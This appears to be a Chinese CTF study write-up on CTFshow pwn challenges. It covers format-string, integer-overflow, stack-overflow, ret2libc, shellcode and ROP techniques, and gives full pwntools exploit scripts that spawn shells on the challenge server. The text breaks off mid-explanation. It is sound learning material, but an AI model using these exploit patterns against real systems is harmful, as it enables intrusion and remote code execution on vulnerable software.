1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; int v4; unsigned int v5; unsigned __int64 v6; v6 = __readfsqword(0x28u ); initial(argc, argv, envp); whattime(); v3 = 0 ; v4 = 0 ; while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); v5 = get_int(); if ( v5 != 2 ) break ; fmt_attack(&v3); } if ( v5 > 2 ) break ; if ( v5 == 1 ) leak(&v4); } if ( v5 == 3 ) get_flag(); if ( v5 == 4 ) { puts ("Bye!" ); exit (0 ); } } }
运行起来就是一个很正常的程序,其中漏洞点在 fmt_attack(&v3)
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unsigned __int64 __fastcall fmt_attack (int *a1) { char format[56 ]; unsigned __int64 v3; v3 = __readfsqword(0x28u ); memset (format, 0 , 0x30u LL); if ( *a1 > 0 ) { puts ("No way!" ); exit (1 ); } *a1 = 1 ; read_n(format, 40LL ); printf (format); return __readfsqword(0x28u ) ^ v3; }
可以看到 call 这个函数以后会 printf(format);
, 存在格式化字符串漏洞点,然后 *a1 = 1
,代表不能进行下一次调用 因为存在格式化字符串漏洞,我们可以任意地址写,所以在每次 call 中 printf 的是时候可以把 a1 改为 0 (printf 在 a1被赋值后)
找 a1 寄存器 (任意地址写的地址)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pwndbg> disassemble fmt_attack Dump of assembler code for function fmt_attack: 0x0000555555400e56 <+0 >: push rbp 0x0000555555400e57 <+1 >: mov rbp,rsp 0x0000555555400e5a <+4 >: sub rsp,0x50 0x0000555555400e5e <+8 >: mov QWORD PTR [rbp-0x48 ],rdi 0x0000555555400e62 <+12 >: mov rax,QWORD PTR fs:0x28 0x0000555555400e6b <+21 >: mov QWORD PTR [rbp-0x8 ],rax 0x0000555555400e6f <+25 >: xor eax,eax 0x0000555555400e71 <+27 >: lea rdx,[rbp-0x40 ] => 0x0000555555400e75 <+31 >: mov eax,0x0 0x0000555555400e7a <+36 >: mov ecx,0x6 0x0000555555400e7f <+41 >: mov rdi,rdx 0x0000555555400e82 <+44 >: rep stos QWORD PTR es:[rdi],rax 0x0000555555400e85 <+47 >: mov rax,QWORD PTR [rbp-0x48 ] 0x0000555555400e89 <+51 >: mov eax,DWORD PTR [rax] 0x0000555555400e8b <+53 >: test eax,eax 0x0000555555400e8d <+55 >: jle 0x555555400ea5 <fmt_attack+79 > 0x0000555555400e8f <+57 >: lea rdi,[rip+0x2c1 ] # 0x555555401157 0x0000555555400e96 <+64 >: call 0x555555400968 <puts @plt> 0x0000555555400e9b <+69 >: mov edi,0x1 0x0000555555400ea0 <+74 >: call 0x5555554009c8 <exit @plt> 0x0000555555400ea5 <+79 >: mov rax,QWORD PTR [rbp-0x48 ] 0x0000555555400ea9 <+83 >: mov DWORD PTR [rax],0x1 0x0000555555400eaf <+89 >: lea rax,[rbp-0x40 ] 0x0000555555400eb3 <+93 >: mov esi,0x28 0x0000555555400eb8 <+98 >: mov rdi,rax 0x0000555555400ebb <+101 >: call 0x555555400d0e <read_n> 0x0000555555400ec0 <+106 >: lea rax,[rbp-0x40 ] 0x0000555555400ec4 <+110 >: mov rdi,rax 0x0000555555400ec7 <+113 >: mov eax,0x0 0x0000555555400ecc <+118 >: call 0x555555400980 <printf @plt> 0x0000555555400ed1 <+123 >: nop 0x0000555555400ed2 <+124 >: mov rax,QWORD PTR [rbp-0x8 ] 0x0000555555400ed6 <+128 >: xor rax,QWORD PTR fs:0x28 0x0000555555400edf <+137 >: je 0x555555400ee6 <fmt_attack+144 > 0x0000555555400ee1 <+139 >: call 0x555555400978 <__stack_chk_fail@plt> 0x0000555555400ee6 <+144 >: leave 0x0000555555400ee7 <+145 >: ret
看到 a1被赋值对应的是这一行
1 2 3 4 0x0000555555400ea9 <+83>: mov DWORD PTR [rax],0x1 对应IDA反汇编代码 .text:0000000000000EA9 mov dword ptr [rax], 1
在 0x0000000000000ea9
处下断点, 查看寄存器状态
栈情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 pwndbg> stack 30 00 :0000 │ rsp 0x7fffffffdfb0 ◂— 0 01 :0008 │-048 0x7fffffffdfb8 —▸ 0x7fffffffe01c ◂— 1 02 :0010 │ rdx 0x7fffffffdfc0 ◂— 0 ... ↓ 5 skipped 08 :0040 │ rdi 0x7fffffffdff0 ◂— 0 09 :0048 │-008 0x7fffffffdff8 ◂— 0x33f925c131e4c000 0 a:0050 │ rbp 0x7fffffffe000 —▸ 0x7fffffffe030 —▸ 0x7fffffffe0d0 —▸ 0x7fffffffe130 ◂— 0 0b :0058 │+008 0x7fffffffe008 —▸ 0x55555540102c (main+118 ) ◂— jmp main+149 0 c:0060 │+010 0x7fffffffe010 ◂— 0 0 d:0068 │ rax-4 0x7fffffffe018 ◂— 0x1f7fe5af0 0 e:0070 │+020 0x7fffffffe020 ◂— 0x200000000 0f :0078 │+028 0x7fffffffe028 ◂— 0x33f925c131e4c000 10 :0080 │+030 0x7fffffffe030 —▸ 0x7fffffffe0d0 —▸ 0x7fffffffe130 ◂— 0 11 :0088 │+038 0x7fffffffe038 —▸ 0x7ffff7c2a1ca (__libc_start_call_main+122 ) ◂— mov edi, eax12 :0090 │+040 0x7fffffffe040 —▸ 0x7fffffffe080 ◂— 0 13 :0098 │+048 0x7fffffffe048 —▸ 0x7fffffffe158 —▸ 0x7fffffffe420 ◂— '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' 14 :00 a0│+050 0x7fffffffe050 ◂— 0x155400040 15 :00 a8│+058 0x7fffffffe058 —▸ 0x555555400fb6 (main) ◂— push rbp16 :00b 0│+060 0x7fffffffe060 —▸ 0x7fffffffe158 —▸ 0x7fffffffe420 ◂— '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' 17 :00b 8│+068 0x7fffffffe068 ◂— 0x1c866ce437f0295 18 :00 c0│+070 0x7fffffffe070 ◂— 1 19 :00 c8│+078 0x7fffffffe078 ◂— 0 1 a:00 d0│+080 0x7fffffffe080 ◂— 0 1b :00 d8│+088 0x7fffffffe088 —▸ 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555400000 ◂— jg 0x555555400047 1 c:00e0 │+090 0x7fffffffe090 ◂— 0x1c866ce425f0295 1 d:00e8 │+098 0x7fffffffe098 ◂— 0x1c876b4c1dd0295
看到 RAX
的值 (0x7fffffffe01c) 在第一位 01:0008
[+++++++++++++++++++] 这里要注意一点: 64位 Linux 的函数调用约定 在 64 位 Linux 中,函数调用的前 6 个参数通过寄存器传递 rdi
, rsi
, rdx
, rcx
, r8
, r9
如果参数超过 6 个,额外的参数通过栈传递
所以修改 a1 的值需要在 6+1
偏移处 , 利用 %7$n
即可将 a1 的值改为0 ,重复利用格式化字符串漏洞
我们可以先泄露 rbp 的地址:0a:0050│ rbp 0x7fffffffe000 —▸ 0x7fffffffe030 —▸ 0x7fffffffe0d0 —▸ 0x7fffffffe130 ◂— 0
在偏移 10
处,要利用格式化字符串漏洞,就要 10+6
1 2 %7$n-%16$p -0x7ffd8f1d22d0
0x7ffd8f1d22d0 - 0x28
就是 ret_addr
计算 ELF_BASE (不太懂这一块)
1 2 3 4 5 fmt('%7$n+%17$p' ) io.recvuntil('+' ) ret_value = int (io.recvuntil('\n' )[:-1 ],16 ) elf_base = ret_value - 0x102c log.success("++++++++++ ret_value:" + hex (ret_value))
计算出基地址以后就可以直接利用偏移去重新输出 flag 的值 (源代码使用了 close(1) 禁用了输出 )
1 .text:0000000000000F5B lea rdi, aFlag ; "/flag"
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' , 28200 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc.so.6" ) def fmt (payload ): io.recvuntil(">>" ) io.sendline(str (2 )) io.sendline(payload) io.recvuntil("What time is it :" ) io.sendline(b"00 00 00" ) fmt('%7$n-%16$p' ) io.recvuntil("-" ) ret_addr = int (io.recvuntil('\n' )[:-1 ],16 )-0x28 log.success("++++++++++ ret_addr:" + hex (ret_addr)) fmt('%7$n+%17$p' ) io.recvuntil('+' ) ret_value = int (io.recvuntil('\n' )[:-1 ],16 ) elf_base = ret_value - 0x102c log.success("++++++++++ ret_value:" + hex (ret_value)) payload1 = b'%' +str ((elf_base+0xf56 )&0xffff ).encode()+b'c%10$hn' payload1 = payload1.ljust(0x10 ,b'a' ) payload1 += p64(ret_addr) fmt(payload1) io.interactive()
整数安全 pwn101 先学点东西吧 64bit 文件,利用点在 main
1 2 if ( v4 == 0x80000000 && v5 == 0x7FFFFFFF ) gift();
主要是理解各种类型的存储空间大小
1 2 3 4 5 6 7 8 9 10 ==================================================================================================== Type | Byte | Range ==================================================================================================== short int | 2 byte | 0~0x7fff 0x8000~0xffff unsigned short int | 2 byte | 0~0xffff int | 4 byte | 0~0x7fffffff 0x80000000~0xffffffff unsigned int | 4 byte | 0~0xffffffff long int | 8 byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff unsigned long int | 8 byte | 0~0xffffffffffffffff ====================================================================================================
输入 2147483648 2147483647
或者 -2147483648 2147483647
即可获得 flag
pwn102 还是简单的知识 64bit ,IDA 打开分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __cdecl main (int argc, const char **argv, const char **envp) { unsigned int v4; unsigned __int64 v5; v5 = __readfsqword(0x28u ); init(argc, argv, envp); logo(); puts ("Maybe these help you:" ); useful(); v4 = 0 ; printf ("Enter an unsigned integer: " ); __isoc99_scanf("%u" , &v4); if ( v4 == -1 ) gift(); else printf ("Number = %u\n" , v4); return 0 ; }
看到是要求输入一个 unsigned 数字,并且下面也给了判断输入是否为 -1
输入-1就可以拿到 flag
pwn103 看着好像还是不难
1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
64bit , IDA 打开分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 unsigned __int64 ctfshow () { int v1; void *src; char dest[88 ]; unsigned __int64 v4; v4 = __readfsqword(0x28u ); v1 = 0 ; src = 0LL ; printf ("Enter the length of data (up to 80): " ); __isoc99_scanf("%d" , &v1); if ( v1 <= 80 ) { printf ("Enter the data: " ); __isoc99_scanf(" %[^\n]" , dest); memcpy (dest, src, v1); if ( (unsigned __int64)dest > 0x1BF52 ) gift(); } else { puts ("Invalid input! No cookie for you!" ); } return __readfsqword(0x28u ) ^ v4; }
第一次输入输入0即可,不定义赋值内存,第二次输入-1 直接最大
pwn104 有什么是可控的?
1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
IDA 打开分析
1 2 3 4 5 6 7 8 9 10 11 ssize_t ctfshow () { char buf[10 ]; size_t nbytes; LODWORD(nbytes) = 0 ; puts ("How long are you?" ); __isoc99_scanf("%d" , &nbytes); puts ("Who are you?" ); return read(0 , buf, (unsigned int )nbytes); }
简单的栈溢出,无 canary,并且有后门函数
buf 大小
1 2 3 4 5 6 7 8 9 10 11 -00000000000000 10 db ? ; undefined -000000000000000F db ? ; undefined -000000000000000E buf db 10 dup(?) -0000000000000004 nbytes dq ? +0000000000000004 db ? ; undefined +0000000000000005 db ? ; undefined +0000000000000006 db ? ; undefined +0000000000000007 db ? ; undefined +0000000000000008 r db 8 dup(?) +00000000000000 10 +00000000000000 10 ; end of stack variables
0xE + 0x08 = 0x16
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' , 28289 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc.so.6" ) that_addr = 0x40078D io.recvuntil("How long are you?\n" ) io.sendline(b'100' ) io.recvuntil("Who are you?\n" ) payload = b'a' * 0x16 + p64(that_addr) io.sendline(payload) io.interactive()
pwn 105 看着好像没啥问题
1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
IDA 打开
1 2 3 4 5 6 7 8 9 10 11 12 13 14 char *__cdecl ctfshow (char *s) { char dest[8 ]; unsigned __int8 v3; v3 = strlen (s); if ( v3 <= 3u || v3 > 8u ) { puts ("Authentication failed!" ); exit (-1 ); } printf ("Authentication successful, Hello %s" , s); return strcpy (dest, s); }
unsigned __int8 v3;
,v3是 int8类型,一个字节大小,对应的二进制范围是 0 - 11111111
,十进制是 0-255
, 当输入的数据大于255的时候会从0重新开始计算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <stdio.h> #include <string.h> int main () { while (1 ) { unsigned __int8 v3; printf ("Please Input The num: " ); scanf ("%hhu" , &v3); printf ("%d\n" , v3); } return 0 ; }
1 2 3 4 5 6 7 8 9 Please Input The num: 0 0 Please Input The num: 255 255 Please Input The num: 256 0 Please Input The num: 257 1 Please Input The num:
所以我们可以直接 padding 到 overflow,然后填 ret_addr , 然后覆盖到 260长度即可
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' , 28112 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc.so.6" ) io.recvuntil("[+] Check your permissions:\n" ) success_addr = 0x804870E payload = b'a' * 0x15 + p32(success_addr) payload = payload.ljust(260 ,b'a' ) io.sendline(payload) io.interactive()
pwn 106 32bit,IDA 打开找漏洞点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 char *__cdecl check_passwd (char *s) { char *result; char dest[11 ]; unsigned __int8 v3; v3 = strlen (s); if ( v3 > 3u && v3 <= 8u ) { puts ("Success" ); fflush(stdout ); result = strcpy (dest, s); } else { puts ("Invalid Password" ); result = (char *)fflush(stdout ); } return result; }
看到任然是绕过 int8
, padding 到 260长度就可以绕过,char dest[11]
存在栈溢出,同时 no canary,直接构造 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' , 28103 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc.so.6" ) flag_addr = 0x8048919 padding = 0x18 payload = b'a' * padding + p32(flag_addr) payload = payload.ljust(260 ,b'a' ) io.sendlineafter("Your choice:" ,str (1 )) io.sendlineafter("Please input your username:\n" ,b"aaaa" ) io.recvuntil("Please input your passwd:\n" ) io.sendline(payload) io.interactive()
pwn107 32bit , IDA 打开
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int show () { char nptr[32 ]; int v2; printf ("How many bytes do you want me to read? " ); getch(nptr, 4 ); v2 = atoi(nptr); if ( v2 > 32 ) return printf ("No! That size (%d) is too large!\n" , v2); printf ("Ok, sounds good. Give me %u bytes of data!\n" , v2); getch(nptr, v2); return printf ("You said: %s\n" , nptr); }
输入 -1
可以绕过长度检测,没有给后门函数,需要 ret2libc 泄露 (libc 版本问题打不通)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' , 28250 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc-2.27.so" ) padding = 0x30 printf_plt = elf.plt["printf" ] printf_got = elf.got["printf" ] show_addr = 0x804852F payload = b'a' * padding + p32(printf_plt) + p32(show_addr) + p32(printf_got) io.recvuntil("How many bytes do you want me to read? " ) io.sendline(str (-1 )) io.recvuntil("bytes of data!\n" ) io.sendline(payload) printf_addr = u32(io.recvuntil(b'\xf7' )[-4 :]) print ("printf_addr :" ,hex (printf_addr))libc_base = printf_addr - libc.sym["printf" ] print ('libc_base:' ,hex (libc_base))system_addr = libc_base + libc.symbols["system" ] bin_sh_addr = libc_base + next (libc.search(b"/bin/sh" )) print ('system:' ,hex (system_addr))print ('bin_sh:' ,hex (bin_sh_addr))payload2 = b'a' * padding + p32(system_addr) + p32(bin_sh_addr) io.recvuntil("How many bytes do you want me to read? " ) io.sendline(str (-1 )) io.recvuntil("bytes of data!\n" ) io.sendline(payload2) io.interactive()
pwn108 pwn109 1 2 3 4 5 6 7 8 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments
32bit , IDA 打开
disassemble
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 int __cdecl sub_90B (int a1) { int v2; char buf[1024 ]; int *v4; v4 = &a1; sub_73B(); sub_7A2(); while ( 1 ) { while ( 1 ) { puts ("What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!" ); __isoc99_scanf("%d" , &v2); getchar(); if ( v2 != 2 ) break ; printf_(buf); } if ( v2 == 3 ) break ; if ( v2 == 1 ) sub_8A4(buf, 0x400u ); else printf ("What do you mean by %d" , v2); } puts ("See you~" ); return 0 ; }
看到 NX 是关闭的,同时没有 canary,可以向栈中写入 shellcode ,利用格式化字符串漏洞修改 ret 地址,get shell
先泄露偏移量,输入1向 buf 写入数据,再输入2导致格式化字符串漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 What you want to do? 1) Input someing! 2) Hang out!! 3) Quit!!! 1 ffd45120 aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p What you want to do? 4) Input someing! 5) Hang out!! 6) Quit!!! 2 aaaa-0x594d6fcc-0xffd45104-0x594d68f0-0x594d69f0-0x594d8fb0-0xffd45528-0x594d69a2-0xffd45120-0xeb651b60-0xffd45528-0x594d6965-0xffd45200-(nil)-0xffffffff-0x2-0x61616161-0x2d70252d-0x252d7025
得到偏移量是16,那我们就先将 ret_addr 改为 buf 开始的地方的内存地址,然后再 12 一次把 shellcode 的 asm 写入进去,3离开后 ret_addr 返回到 buf 开始处执行 shellcode , get shell
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' , 28291 ) elf = ELF("./pwn" ) libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) offset = 16 io.recvuntil("3) Quit!!!\n" ) io.sendline(b'1' ) stack_addr = int (io.recvline().strip(),16 ) ret_addr = stack_addr + 0x41c print ("+++++++++ stack_addr:" ,hex (stack_addr))print ("+++++++++ ret_addr:" ,hex (ret_addr))payload = fmtstr_payload(offset,{ret_addr:stack_addr}) io.sendline(payload) io.recvuntil("3) Quit!!!\n" ) io.sendline(b'2' ) io.sendline(b'1' ) shellcode = asm(shellcraft.sh()) io.sendline(shellcode) io.recvuntil("3) Quit!!!\n" ) io.sendline(b'3' ) io.interactive()
这边为什么 0x40c
变成 0x41c
不是很懂, 多了 0x10
pwn110 溢出溢出溢出
1 2 3 4 5 6 7 8 9 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
32bit , IDA 打开: 关键函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned __int16 *input () { unsigned __int16 v1; int buf; _DWORD v3[254 ]; int v4; unsigned __int16 v5; buf = 4144959 ; v3[0 ] = 0 ; v4 = 0 ; memset ((char *)v3 + 3 , 0 , 4 * ((((char *)v3 - ((char *)v3 + 3 ) + 1021 ) & 0xFFFFFFFC ) >> 2 )); __isoc99_scanf("%hd" , &v1); if ( (__int16)v1 > 1024 ) { puts ("You are soooooooooo ******" ); exit (0 ); } v5 = v1; printf ("%x %u\n" , &buf, v1); read(0 , &buf, v5); qmemcpy(str, &buf, 0x400u ); str[1024 ] = HIBYTE(v4); return &v5; }
scanf 获取了 %hd (短整数),如果大于1024就 exit可以通过输入 -1
来绕过 ,%hd , 范围是 0-65535
, 此时就可以输入 65534大小的数据,交给 buf,buf 大小为 0x400u
,可以导致溢出因为 NX 是没有开启的 ,优先考虑 shellcode 写入 buf,溢出后 ret 改为 leak 的 buf_addr 即可
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' , 28298 ) elf = ELF("./pwn" ) libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) io.recvuntil("1+1= ?\n" ) io.sendline(str (-1 )) buf_addr = int (io.recv(8 ),16 ) print ("++++++++ buf_addr:" ,hex (buf_addr))payload = asm(shellcraft.sh()).ljust(0x41B +0x04 ,b"a" ) + p32(buf_addr) io.sendline(payload) io.interactive()
pwn111 没难度
1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
64bit , IDA 打开
1 2 3 4 5 6 7 8 ssize_t ctfshow () { char buf[128 ]; write(1 , "Input your message:\n" , 0x14u LL); read(0 , buf, 0x100u LL); return write(1 , "I have received your message, Thank you!\n" , 0x29u LL); }
存在后门函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 __int64 do_global () { __int64 result; char buf[9 ]; unsigned int v2; FILE *stream; stream = fopen("/ctfshow_flag" , "r" ); while ( 1 ) { v2 = fgetc(stream); buf[0 ] = v2; result = v2; if ( (_BYTE)v2 == 0xFF ) break ; write(1 , buf, 1uLL ); } return result; }
非常非常非常简单的栈溢出,stackoverflow 后覆盖 ret_addr 为后门函数就可以了
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' , 28236 ) elf = ELF("./pwn" ) libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) padding = 0x88 flag_addr = 0x400697 payload = b'a' * padding + p64(flag_addr) io.sendline(payload) io.interactive()
pwn112 满足一定条件即可
1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
disassemble
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 int ctfshow () { int result; var[13 ] = 0 ; var[14 ] = 0 ; init(); puts ("What's your name?" ); __isoc99_scanf("%s" , var); if ( *(_QWORD *)&var[13 ] ) { if ( *(_QWORD *)&var[13 ] != 0x11L L ) result = printf ( "something wrong! val is %d" , var[0 ], var[1 ], var[2 ], var[3 ], var[4 ], var[5 ], var[6 ], var[7 ], var[8 ], var[9 ], var[10 ], var[11 ], var[12 ], var[13 ], var[14 ]); else result = register_tm(); } else { printf ("%s, Welcome!\n" , var); result = puts ("Try doing something~" ); } return result; }
值判断 var[13] != 0x11LL
, 存在后门函数,解题脚本:
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' ,28295 ) elf = ELF("./pwn" ) libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) payload = p32(0x11 ) * 14 io.recvuntil("What's your name?\n" ) io.sendline(payload) io.interactive()
pwn113 理清逻辑,题目不难。
1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
IDA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 int __cdecl main (int argc, const char **argv, const char **envp) { __int64 v3; char v5[1032 ]; __int64 v6; char v7; __int64 v8; is_detail = 0 ; go(argc, argv, envp); logo(); fwrite(">> " , 1uLL , 3uLL , _bss_start); fflush(_bss_start); v8 = 0LL ; while ( !feof(stdin ) ) { v7 = fgetc(stdin ); if ( v7 == 10 ) break ; v3 = v8++; v6 = v3; v5[v3] = v7; } v5[v8] = 0 ; if ( (unsigned int )init(v5) ) { qsort(files, size_of_path, 0x200u LL, cmp); search_file_info(); } else { fflush(_bss_start); set_secommp(); } return 0 ; }
就是一个输入路径 v7 = fgetc(stdin);
,然后输出输入的路径下有什么文件 if ( (unsigned int)init(v5) )
的程序 init 做了判断,如果路径是对的,则执行 search_file_info();
, else set_secommp();
set_secommp() 是一个沙箱函数,但是此时如果输入的够多,直到 padding BUF ,然后再 else 进入沙箱函数(溢出后才执行,相当于没执行) , 所以这个沙箱函数完全没用 ,直接溢出然后
ROPgadget 泄露 libc 地址
ROPgadget 写 shellcode 到 bss 段(getsehell / getflag)
因为堆栈不可执行,所以 mprotect 改 bss 段的权限,跳转执行
ORW 拿 flag
IDA 划分的 stack 空间
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 -0000000000000420 ; D/A/* : change type (data/ascii/array) -0000000000000420 ; N : rename -0000000000000420 ; U : undefine -0000000000000420 ; Use data definition commands to create local variables and function arguments. -0000000000000420 ; Two special fields " r" and " s" represent return address and saved registers. -0000000000000420 ; Frame size: 420; Saved regs: 8; Purge: 0 -0000000000000420 ; -0000000000000420 -0000000000000420 var_420 db 1032 dup(?) -0000000000000018 var_18 dq ? -0000000000000010 db ? ; undefined -000000000000000F db ? ; undefined -000000000000000E db ? ; undefined -000000000000000D db ? ; undefined -000000000000000C db ? ; undefined -000000000000000B db ? ; undefined -000000000000000A db ? ; undefined -0000000000000009 var_9 db ? -0000000000000008 var_8 dq ? +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?) +0000000000000010 +0000000000000010 ; end of stack variables
先泄露 libc 地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) io = remote('pwn.challenge.ctf.show' ,28128 ) elf = ELF("./pwn" ) libc = ELF("./libc/libc6_2.27-3ubuntu1_amd64.so" ) pop_rdi_ret_addr = 0x401ba3 puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] main_addr = elf.symbols['main' ] payload = b'a' * 0x418 + p8(0x28 ) payload += p64(pop_rdi_ret_addr) + p64(puts_got) + p64(puts_plt) payload += p64(main_addr) io.recvuntil(">> " ) io.sendline(payload) puts_addr = u64(io.recvuntil('\x7f' )[-6 :] + b'\x00\x00' ) print ("+++++++++++++ puts_addr:" ,hex (puts_addr))libc_base = puts_addr - libc.symbols['puts' ] print ("+++++++++++++ libc_base:" ,hex (libc_base))mprotect_addr = libc_base+libc.sym["mprotect" ] print ("+++++++++++++ mprotect_addr:" ,hex (mprotect_addr))pause() io.interactive()
1 2 3 4 +++++++++++++ puts_addr: 0x7f95ff2339c0 +++++++++++++ libc_base: 0x7f95ff1b3000 +++++++++++++ mprotect_addr: 0x7f95ff2ceae0 [*] Paused (press any to continue)
++++++++++++++++++++++ 说实话这里不是很懂为什么一定要 b'a' * 0x418 + p8(0x28)
++++++++++++++++++++++
接下来就是要用 gets 函数获取 payload (寄存器传参,需要用 rdi) 写入数据到 data 中.data:0000000000603000 _data segment align_32 public 'DATA' use6
1 2 3 4 5 ... io.recvuntil(">> " ) bss_addr = 0x603000 gets_addr = libc_base + libc.symbols['gets' ] payload2 = b'a' * 0x418 + p8(0x28 ) + p64(pop_rdi_ret_addr) + p64(bss_addr) + p64(gets_addr)
接着用 mprotect 改我们向 bss 段写入的数据的权限,改为可执行即可。+++++ 这里有一个问题: 64位操作系统传参方式为前六个参数通过寄存器传参,但是 ROPgadget 只能找到 pop_rdi_ret
的地址? 没有 rdx,rsi 的地址
1 2 3 4 ❯ ROPgadget --binary ./pwn --only "pop|ret" | grep rsi 0x0000000000401ba1 : pop rsi ; pop r15 ; ret ❯ ROPgadget --binary ./pwn --only "pop|ret" | grep rdx
但是我们已经泄露出来 libc 的 base 地址了,所以可以直接去 libc 库中找 :
